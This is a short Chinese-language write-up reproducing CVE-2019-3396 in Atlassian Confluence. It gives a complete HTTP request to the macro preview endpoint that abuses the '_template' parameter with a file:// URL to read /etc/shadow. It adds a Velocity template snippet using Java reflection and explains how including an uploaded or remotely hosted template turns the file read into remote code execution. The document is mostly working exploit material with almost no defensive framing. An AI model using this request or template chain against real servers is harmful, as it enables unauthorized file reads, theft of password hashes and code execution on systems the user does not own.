CVE-2019-3396:confluence任意文件读取与RCE漏洞复现

CVE-2019-3396的相关情报

详细的漏洞解析参考cve-2019-3396

漏洞利用

文件读取

构造请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: confluence.xxxxxx.com
Pragma: no-cache
Cache-Control: no-cache
Accept: text/html, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36
Referer: http://confluence.xxxxx.com/pages/editpage.action?pageId=32093515
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: xxxxxxx
Content-Type: application/json;charset=utf-8
X-Requested-With: XMLHttpRequest
Connection: close
Content-Length: 176

{"contentId":"655594","macro":{"name":"widget","body":"","params":{"url":"https://dailymotion.com/video/xcpa64","width":"300","height":"200","_template":"file:///etc/shadow”}}}

通过template参数中使用file协议可以读取服务器上的任意文件

RCE

由于confluence使用的是velocity模版引擎,而这个任意文件读取本身是通过渲染模版文件来读取的,因此如果模板文件里调用java对象是会被渲染执行的,具体参考下面:

1
2
#set($e="e")
$e.getClass().forName('java.lang.System').getMethod('getProperty', $e.getClass().forName('java.lang.String')).invoke(null, 'os.name').toString()

随意上传或者远端存储一个该内容的vm文件,然后通过上述的文件包含漏洞去包含这个模板文件即可导致RCE